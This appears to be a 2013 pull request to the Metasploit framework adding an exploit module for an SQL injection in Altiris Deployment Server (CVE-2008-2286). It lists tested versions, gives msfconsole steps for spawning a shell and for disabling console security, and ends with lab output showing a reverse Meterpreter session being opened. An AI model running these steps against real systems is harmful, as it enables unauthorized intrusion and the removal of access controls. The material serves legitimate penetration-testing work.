rapid7/metasploit-framework — pull request #2517 by 3v0lver (2013-10-14 02:43:33+00:00)
Title: new exploit module for CVE-2008-2286, Altiris DS

Advisory:
http://www.zerodayinitiative.com/advisories/ZDI-08-024

Tested Against the following versions of Altiris
Altiris_DeploymentServer_6_5_SP1.exe
Altiris_DeploymentServer_6_8_206(GA).exe
Altiris_DeploymentServer_6_8_282(SP1).exe
Altiris_DeploymentServer_6_8_378(SP2).exe
Altiris_DeploymentSolutionWin_6_9.exe
DS_69_SP1_MP1.exe
patches:
axengine_6_9_176.zip
KB41418_6.8.zip
KB41418_6.9.zip

Should be successful against any version of Windows with tftp where Altiris has been configured to use MSSQL database

Confirmed I could spawn shells on the following Altiris versions running on Windows 2003 SE:
6.8.378
6.8.282
6.8.206

Altiris responds to "UpdateComputer" notification requests with a message containing the version of the server software; the version information
appears to be consistent with what is being installed, so we're using that as our fingerprinting mechanism.

Download Information:
I wrote this module ages ago and only cleaned it up recently, finding versions may be a challenge, I haven't looked in a while.
Credentials for the Altiris FTP site appear in the following Symantec HOWTO article: http://www.symantec.com/business/support/index?page=content&id=HOWTO3548
The following support forum used to have a download section as well: http://www.altirigos.com/

Testing:

Shell:
1)Install Altiris on the target
2)Start MSFconsole
3)use exploits/windows/mssql/altiris_DS_sqli
4)set RHOST [Target IP]
5)exploit

Enable/Disable Console Security:

Manually Enable Console Security
1)Start the Deployment Console
2)From the "File" menu, select "Tools"
3)Click "Security"
4)From the Manage Users pane, click "add"
5)Complete the fields for the user
6)Click "Ok"
7)Ensure that the "Enable Security" box is ticked (it should be immediately after the creation of a new user)
8)Click "Close"
9)Click "Ok"
10)Enter the password for the newly created user
11)Terminate the Deployment Console

12)Restart Deployment Console
13)Observe the credential prompt

Disable Console Security
1)Start MSFconsole
2)use exploits/windows/mssql/altiris_DS_sqli
3)set RHOST [Target IP]
4)set DISABLE_SECURITY true
5)exploit
6)[no response is returned here]

Observe that console security has been disabled
1)Start the Deployment Console
2)[no prompt is issued for credentials]

msf exploit(altiris_DS_sqli) > set RHOST 172.16.158.132
RHOST => 172.16.158.132
msf exploit(altiris_DS_sqli) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] Command Stager progress - 67.95% done (53/78 bytes)
[*] Sending stage (770048 bytes) to 172.16.158.132
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.132:1076) at 2013-10-12 11:53:19 -0400
[*] Command Stager progress - 100.00% done (78/78 bytes)